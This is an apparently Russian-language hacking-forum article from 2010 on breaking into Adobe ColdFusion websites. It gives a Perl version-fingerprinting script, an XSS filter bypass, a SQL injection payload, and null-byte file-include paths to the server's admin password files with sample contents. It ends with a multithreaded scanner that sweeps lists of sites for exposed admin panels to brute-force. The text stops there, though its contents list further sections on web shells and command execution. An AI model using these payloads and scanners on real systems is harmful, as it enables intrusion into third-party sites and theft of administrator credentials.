ColdFusion Research

2010-07-03T00:00:00
ID RDOT:31
Type rdot
Reporter Ded MustD!e
Modified 2010-07-03T00:00:00

Description

**

ColdFusion Research

**

Results 1 - 10 of about 1,170,000,000 for inurl:"index.cfm".

<Table_of_contents>

...[Introduction]
...[About]
...[Version]
...[CFML]
...[Database]
...[XSS]
...[SQL-Inj]
...[Include]
...[Admin]
...[CMD]
...[Bugs]
...[Encrypt/Decrypt]
...[Security]
...[SQL-Dumper]
...[Web-Shell]
...[MIME types Spoofing]

</Table_of_contents>

.::Introduction::.

В этой статье я постараюсь как можно подробнее описать особенности работы и взлома ColdFusion, о котором так мало известно. Скорее всего, это связано с тем, что платформа платная, и стоит она $1299 за Standard Edition и $7499 за Enterprise Edition. Ко всему прочему толкового материала на русском языке нет в принципе, а на английском "днём с огнем...". Хостингов тоже крайне мало, но тем не менее, раз люди используют, значит что-то в этом есть). Эта технология не стоит на месте, сайтов на ней появляется всё больше, так что простор для работы огромный. Для лучшего понимания материала, я буду проводить аналогии с PHP.

.::About::.

Как говорит нам Википедия ColdFusion это интерпретируемый скриптовый язык программирования, созданный для генерации HTML на веб-сервере и работы с базами данных. Верим ей на слово, но не до конца. Вобщем-то это полноценный сервер, при желании конечно можно установить Apache, IIS и иже с ними. Последняя версия на данный момент 9, которая вышла совсем недавно. Для локальной разработки ColdFusion бесплатен, скачиваем триальную версию с сайта Adobe и при установке выбираем Development version. Также можно получить его и нахаляву, заполнив форму и отправив скан студенческого билета. Во время инсталляции указываем пароль администратора и пароль от RDS. После установки висит на 8500 порту, заходим в админку, и система самостоятельно конфигурируется. Файлы имеют расширение .cfm, либо .cfc (coldfusion component) которые обычно инклудятся. Для разработки используется свой язык CFML (ColdFusion Markup Language), а также очень похожий на привычный для нас JavaScript - CFScript. Из приятных особенностей - очень подробный вывод информации об ошибке, раскрытия пути присутствуют повсеместно.

.::Version::.

Актуальных версий, под которые можно разрабатывать что-либо 5 штук:

ColdFusion 5
ColdFusion 6 (также называют просто ColdFusion MX)
ColdFusion MX 7
Adobe ColdFusion 8
Adobe ColdFusion 9

При этом последняя на сегодняшний день 9 версия еще ни разу мне не встретилась, не успели еще видимо обновиться, а 5 это вообще раритет, каких не сыскать, больше всего распространена 8 версия, поэтому упор в статье делается на именно неё.

Что касается определения версии, тут ничего нового придумывать не надо. Определяем по наличию\отсутствию файлов. Начнем с того, что по адресу <http://site.com/CFIDE/administrator/index.cfm> расположена форма авторизации в админку, на которой написано, какая именно версия CF тут используется, но чаще всего вход в админку из веба недоступен, либо фильтр по IP (подробнее об админке ниже). Второе место, куда стоит заглянуть это <http://site.com/cfdocs/dochome.htm>, там также написана версия, но этот файл многие удаляют. Если присутствует файл http://site.ru/CFIDE/multiservermoni...ess-policy.xml, то значит версия >=8 (на данный момент можно смело утверждать, что версия 8, т.к. 9 пока нигде нет). Только в 9 версии есть файлы:

/CFIDE/scripts/ajax/cfgrid.js.bak
/CFIDE/scripts/AIR/cfair.swc
/CFIDE/scripts/AIR/cfservices.swc

Только в 8 версии содержатся:

/CFIDE/scripts/ajax/ext/INCLUDE_ORDER.txt
/CFIDE/scripts/ajax/ext/LICENSE.txt
/CFIDE/scripts/ajax/ext/ext-core.js
/CFIDE/scripts/ajax/ext/ext-core-debug.js
/CFIDE/scripts/ajax/ext/build/debug-min.js

Только в 6:

/CFIDE/register.htm
/CFIDE/register_ja.htm

Начиная с 7 версии, присутствует файл /CFIDE/adminapi/customtags/resources/adminapi_ja.xml, при этом порядок тэгов в файле в 7 версии слегка отличается от 8 и 9. В 7:

<cfswitch expression="#ATTRIBUTES.id#">
<cfcase value="lic_dev">

В 8 и 9:

<cfswitch expression="#ATTRIBUTES.id#">
<cfcase value="invalidUser">

Вобщем-то если админка недоступна, а dochome.htm удален, то было бы нецелесообразно проверять все пути руками, поэтому я набросал скрипт, который определяет версию ColdFusion:

PHP код:

#!/usr/bin/perl -w

use LWP::UserAgent;
use threads;
use threads::shared;

#####################################################################

$cf8 = '/CFIDE/multiservermonitor-access-policy.xml';
$cf8_1 = '/CFIDE/scripts/ajax/ext/INCLUDE_ORDER.txt';
$cf8_2 = '/CFIDE/scripts/ajax/ext/LICENSE.txt';
$cf8_3 = '/CFIDE/scripts/ajax/ext/ext-core.js';
$cf8_4 = '/CFIDE/scripts/ajax/ext/ext-core-debug.js';
$cf8_5 = '/CFIDE/scripts/ajax/ext/build/debug-min.js';
$cf8_6 = '/CFIDE/adminapi/customtags/resources/adminapi_ja.xm';

#####################################################################

$cf9_1 = '/CFIDE/scripts/ajax/cfgrid.js.bak';
$cf9_2 = '/CFIDE/scripts/AIR/';

#####################################################################

$cf6_1 = '/CFIDE/register.htm';
$cf6_2 = '/CFIDE/register_ja.htm';

#####################################################################

$cfide = '/CFIDE/administrator/index.cfm';
$cfhome = '/cfdocs/dochome.htm';

#####################################################################

my $browser = LWP::UserAgent->new();
$browser->agent(swa());
$browser->timeout(60);

#####################################################################

print "Enter site:";
$url = <STDIN>; chomp ($url);
print "\n";

#####################################################################

$request = $browser->get("$url$cfide")->as_string;
if ($request =~ /Version: 6/){print "Found version 6: $url$cfide\n"; exit;}
elsif($request =~ /Version:7/){print "Found version 7: $url$cfide\n"; exit;}
elsif($request =~ /administrator/index.cfm/ && $request =~ /ColdFusion Administrator Login/){print "Found Version ColdFusion >= 8 (99% this version = 8): $url$cf8\n"; exit;}
$request = $browser->get("$url$cfhome")->as_string;
if ($request =~ /ColdFusion MX 7/){print "Found version 7: $url$cfhome\n"; exit;}
elsif($request =~ /cf8docs/){print "Found version 8: $url$cfhome\n"; exit;}
$request = $browser->get("$url$cf8_6")->as_string;
if ($request =~ /1 ~ 250/){print "Found version 8: $url$cf8_6\n"; exit;}
elsif($request =~ /cfprocessingdirective/){print "Found version 7: $url$cf8_6\n"; exit;}
$request = $browser->get("$url$cf8")->as_string;
if ($request =~ /cross-domain-policy/ || $request =~ /403/){print "Found Version ColdFusion >= 8 (99% this version = 8): $url$cf8\n"; exit;}
$request = $browser->get("$url$cf9_1")->as_string;
if ($request =~ /cfinitgrid/ || $request =~ /403/){print "Found version 9: $url$cf9_1\n"; exit;}
$request = $browser->get("$url$cf9_2")->as_string;
if ($request =~ /cfair/ || $request =~ /403/ || $request =~ /Listing Denied/){print "Found version 9: $url$cf9_2\n"; exit;}
$request = $browser->get("$url$cf8_1")->as_string;
if ($request =~ /Your include order should be/ || $request =~ /403/){print "Found version 8: $url$cf8_1\n"; exit;}
$request = $browser->get("$url$cf8_2")->as_string;
if ($request =~ /JavaScript Library/ || $request =~ /403/){print "Found version 8: $url$cf8_2\n"; exit;}
$request = $browser->get("$url$cf8_3")->as_string;
if ($request =~ /Ext JS Library/ || $request =~ /403/){print "Found version 8: $url$cf8_3\n"; exit; }
$request = $browser->get("$url$cf8_4")->as_string;
if ($request =~ /Ext JS Library/ || $request =~ /403/){print "Found version 8: $url$cf8_4\n"; exit;}
$request = $browser->get("$url$cf8_5")->as_string;
if ($request =~ /Ext JS Library/ || $request =~ /403/){print "Found version 8: $url$cf8_5\n"; exit;}
$request = $browser->get("$url$cf6_1")->as_string;
if ($request =~ /Macromedia Product Registration/ || $request =~ /403/){print "Found version 6: $url$cf6_1\n"; exit;}
$request = $browser->get("$url$cf6_2")->as_string;
if ($request =~ /www.macromedia.co.jp/ || $request =~ /403/){print "Found version 6: $url$cf6_2\n"; exit;}
print "Version 7 OR UNKNOWN =(: $url";

#####################################################################

sub swa {
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand(scalar @agents)];
}

#####################################################################

От версии к версии Adobe всё больше связывает CF с остальными своими продуктами, в 9 версии поддерживается Adobe Air. При этом довольно оперативно выпускаются заплатки.

.::CFML::.

Вкратце расскажу про сам язык CFML. Как утверждают в Adobe, язык прост в освоении, так как похож на привычный многим HTML, но простота, как оказалось, вещь обманчивая. Вобщем-то когда только начинал на нём писать, впечатления были мягко сказать так себе=). Но когда поднабрался опыта, увидел, что всё далеко не так плохо, как казалось вначале. Для штамповки простых сайтов вполне подходит, при этом делается всё очень просто. Естественно, взаимная синхронизация с остальными продуктами Adobe, как нигде хорошо, реализована именно тут, Flex, Flash, а теперь еще и AIR. Также есть отдельный набор тегов для работы с Ajax и PDF. Но действительно сложные и стоящие вещи пишутся на Java, с которой тут тесная связь. Перед программистами CF+Java открывается куча возможностей. Несколько особенностей, которые нужно знать, чтобы потом врубаться в примеры по коду, представленные далее:

1) Все, что мы хотим получить в выводе, на странице обрамляется тегами <cfoutput></cfoutput>.
2) Переменные внутри них обрамляются знаками шарп с обеих сторон, например #MyVar#.
3) Переменные, которые передаются через адресную строку, в коде обозначаются как Url.VarName. Если в пхп мы пишем $_GET['id'], то тут это будет выглядеть как url.id, при этом наличие явного указания на то, что эта переменная должна передаваться через адресную строку необязательно, и нужно лишь для того, чтобы её имя потом случайно не повторилось с другой переменной, то есть у нас могут быть 2 разные переменные #id# и #url.id#. Это позволяет нам обращаться к любой переменной через адресную строку, жаль, что переопределить нельзя если говорить с точки зрения пхп - регистер глобалс тут off, но зато нулл-байт работает на ура.
4) Так как CFML похож на HTML большинство операторов тут требую закрытия, например <cfquery></cfquery>.

.::Database::.

Работа с БД заслуживает отдельного внимания. Начнем с того, что тут мы не увидим какого-либо подобия config.php, данные для подключения к базе мы указываем в админке. Пишем любое "Data Source Name", заполняем имя БД, тип, логин и пароль, а также разрешенные операторы, по умолчанию, разрешены все. При этом имя БД можно не указывать, если используем несколько, потом просто указать его непосредственно в коде.

Чаще всего вместе с CF используется Microsoft Access, реже SQL Server, скорее всего потому, что подавляющее число серверов работает под виндой. Это добавляет нам проблем, так как работать с Access не очень-то приятно, помимо него также используются Oracle и MySQL, но они к сожалению встречаются намного реже.

.::XSS::.

Что касается защиты от XSS, тут присутствует встроенная, хотя и мало чем помогающая. В разных версиях реализована по-разному, но суть работы одна и та же, вот пример из 9 версии, строчки из файла /lib/neo-security.xml:

PHP код:

...
<var name="CrossSiteScriptPatterns">
<struct type="coldfusion.server.ConfigMap">
<var name="<\s*(object|embed|script|applet|meta)">
<string>
<InvalidTag
</string>
</var>
</struct>
</var>
...

Собственно от XSS это всё равно не спасает, один из вариант обхода я когда-то уже писал: <IMG SRC="javascript****:alert('XSS');">

Теперь пройдемся по программным методам. Во-первых, это 2 абсолютно одинаковые по назначению функции, которые различаются только названиями и тем, что результат вывода второй функции обрамляется тегами <PRE></PRE>:

HTMLEditFormat(string [, version ])
HTMLCodeFormat(string [, version ])

Принимают 2 аргумента, строку и версию HTML(по дефолту 2.0), второй аргумент не обязателен. Функции заменяют символы <,>,&," на &lt; &gt;,&amp; и &quot; соответственно. Тут хотелось бы отметить, что одинарная кавычка не фильтруется.

Существуют также 2 бесплатных программных решения, для защиты от XSS и SQL-Inj - это компоненты Portcullis и cf_xssblock, которые все друг другу активно советуют на форуме Adobe.

.::SQL-Inj::.

Добрались до самого любимого и распространенного. Собственно ситуация тут следующая, либо никакой фильтрации нет вообще и можно делать, что угодно, либо наворочено столько, что хер обойдешь. Также ситуация осложняется распространением Access в связке с CF. В заметке Databases я уже описывал, как происходит подключение, теперь разберемся, как происходит запрос. Для этого используется тэг <cfquery></cfquery>. Допустим у нас есть таблица admin с колонками id,login,pass,name, на экран выводится колонка name:

PHP код:

<cfquery name="test" datasource="my_sql">
SELECT name FROM admin WHERE id=#url.id#
</cfquery>
<cfoutput query="test">

name#

</cfoutput>

Здесь my_sql это имя Datasource которое я задал в админке вместе с параметрами подключения. Синтаксис вполне понятный, ситуация тоже. Отсутствие какой-либо фильтрации приводит к инъекции, в данном случае ?id=1+union+select+pass+from+admin--+. Вещь самая банальная, но встречается повсеместно.

Теперь собственно о том, как этого избежать. Многие используют функцию Val(string), которая преобразует строку string в число, Val(123'321) даст нам 123, Val(abc777) вернет 0. Поэтому конструкция #Val(url.id)# окажется неуязвимой. Это что касается числовых параметров. Универсальным методом защиты, который рекомендует Adobe является использование тега <cfqueryparam>.В нем в качестве параметров можно указать тип и максимальную длину параметра. На практике такой вид защиты встречается чаще всего. Синтаксис будет такой:

PHP код:

<cfquery name="test" datasource="my_sql">
SELECT name FROM admin WHERE id=<cfqueryparam value="#url.id#" CFSQLType="CF_SQL_INTEGER" maxLength="3">
</cfquery>
<cfoutput query="test">

name#

</cfoutput>

Если превысим количество символов вывалится исключение "value exceeds MAXLENGTH setting", если передадим данные другого типа, то увидим ошибку "Invalid data 1' for CFSQLTYPE CF_SQL_INTEGER". Вообще работа с БД организована таким образом, что накосячить можно только имея врожденную криворукость. Тем не менее бажных сайтов от этого меньше не становится.

Тут нам очень пригодится функция load_file()(и её аналоги в других СУБД), раскрытие полного пути к моменту реализации инъекции скорее всего уже будет, вспоминаем пути до файлов паролей из описания инклудов и читаем их. Также, не забываем про выполнение команд, где это возможно.

.::Include::.

Теперь разберемся с инклудами. К сожалению удаленный инклуд тут невозможен в принципе, поэтому довольствоваться придется только локальным. Для этого тут существуют две функции, это <cfmodule>, для подключения файлов с пользовательскими тегами (в силу этой особенности, нам она не подходит, так как почти всегда имеет статичный путь) и <cfinclude>. У неё существует единственный аргумент template, в котором указывается путь до подключаемого файла. В мануале хитро написано, что мы не можем подключить ни внешний URL, ни системный путь, выйдя при этом из веб-директории, но это не совсем так. Да, если мы подставим в template что-нибудь наподобии "С:\CFusionMX\1.txt", то вывалится ошибка "Синтаксическая ошибка в имени файла, имени папки или метке тома", но ведь никто не отменял "../../", поэтому можно спокойно перемещаться по текущему диску. Усложняется реализация инклуда наличием "ColdFusion Mappings", это раздел в панели администратора, где мы определяем пути при использовании <cfinclude> и <cfmodule> (что-то наподобии open_basedir), а также различные виды WAF(Web Application Firewall), которые встречаются всё чаще и чаще, впринцыпе это понятно, люди которые могут потратить столько денег на саму платформу, не скупятся и на WAF. Так что для наличия уязвимости необходимо стечение нескольких обстоятельств, от нас вообще никак не зависящих. Теперь ближе к коду:

PHP код:

<cfinclude template=#url.inc#>

Этот код позволяет подключать файлы по схеме page.cfm?inc=1.cfm, код естественно бажный, можем инклудить всё что душе угодно. Слегка усложним задачу:

PHP код:

<cfinclude template="/Folder/#url.inc#.cfm">

На помощь приходит нулл-байт, page.cfm?inc=../pass.txt%00

Осталось определиться с тем, что мы будем инклудить, связка ColdFusion+Apache почти не встречается, и вряд ли вам повезет, стандартные логи самой CF для наших целей непригодны. Зато можно разжиться пассом к админке, при условии, что авторизация не закрыта. В зависимости от версии пассы хранятся по-разному. Помним, что все эти файлы находятся выше веб-директории. После инклуда скорее всего вывалится ошибка о том, что не определена та или иная переменная, но нам это не мешает, просто открываем исходный код, то, что мы проинклудили любовно отделено кучей пробелов от кода выводящего описание ошибки). Вот стандартные пути до файлов с паролями в разных версиях.

6 и 9 версии:

../lib/password.properties

7 и 8 версии:

../servers/admin/SERVER-INF/jrun-users.xml

Вот примеры того, как выглядят эти файлы:

password.properties, зашифрованы пароли "qwerty" для RDS и "admin" для админки:

Код:

#Wed Oct 28 00:45:18 MSK 2009
rdspassword=%&lt;4OP6GD \n
password=%7\=&lt;3DXD \n
encrypted=true

jrun-users.xml:

PHP код:

<!DOCTYPE jrun-users PUBLIC "-//Macromedia Inc.//DTD jrun-users 4.0//EN" "http://jrun.macromedia.com/dtds/jrun-users.dtd">
<jrun-users>
<encryption>
false
</encryption>
<user>
<user-name>
admin
</user-name>
<password>
admin
</password>
</user>
<role>
<role-name>
jmcadmin
</role-name>
<user-name>
admin
</user-name>
</role>
<role>
<role-name>
admin
</role-name>
<user-name>
admin
</user-name>
</role>
<user>
<user-name>
anonymus-guest
</user-name>
<password/>
</user>
</jrun-users>

9 версия (password.properties), зашифрованы пароли "qwerty" для RDS и "admin" для админки:

Код:

#Thu Oct 22 04:15:42 MSD 2009
rdspassword=(&gt;[\#U9\#./@LT \n
password=D033E22AE348AEB5660FC2140AEC35850C4DA997
encrypted=true

.::Admin::.

Админка здесь вещь замечательная, во-первых, через неё можно залить шелл и она есть везде, что, несомненно, является плюсом, но, к сожалению, доступ к авторизации открыт далеко не всегда. Располагается она по адресу /CFIDE/administrator/index.cfm, при этом чаще всего требуется ввести только пароль, логин нужно указывать, только если в системе более одного пользователя, в любом случае логин админа по умолчанию admin. Так как остается ввести только пароль, становится актуальным брут. Но перед тем как что-то брутить, неплохо было бы определиться, что именно. Для поиска админок я написал простенький скрипт, в файл site.txt кладем список сайтов, указываем количество потоков и запускаем, всё найденное пишется в файл good.txt.

PHP код:

#!/usr/bin/perl -w

use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;

##################################################

$|=1;
my $cfide = '/CFIDE/administrator/index.cfm';
my $h = 'http://';
my $good : shared = 0;
my $bad : shared = 0;
$threads = 50; # потоки

##################################################

open (PASS , "<site.txt");
chomp (my @site : shared = <PASS>);
close PASS;

##################################################

$size_site = scalar @site;
print " Loaded site: $size_site\n";

##################################################

my $browser = LWP::UserAgent->new;
$browser -> timeout (10);
$browser->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $browser->agent);

##################################################

for(0..$threads-1) {$trl[$] = threads->create(&brut, $);}
for(@trl) { $_->join; }

##################################################

sub brut {

while (@site){

{lock(@site);$url = shift @site;}
$request = $browser->get("$h$url$cfide")->as_string;
if ($request =~ /administrator/index.cfm/ && $request =~ /ColdFusion Administrator Login/){open (GOOD , ">>good.txt");print GOOD "$h$url$cfide\n"; $good++;} else {$bad++;}
print "Good: $good Bad: $bad\r";
}
}
close GOOD;
print "Good: $good Bad: $bad\n";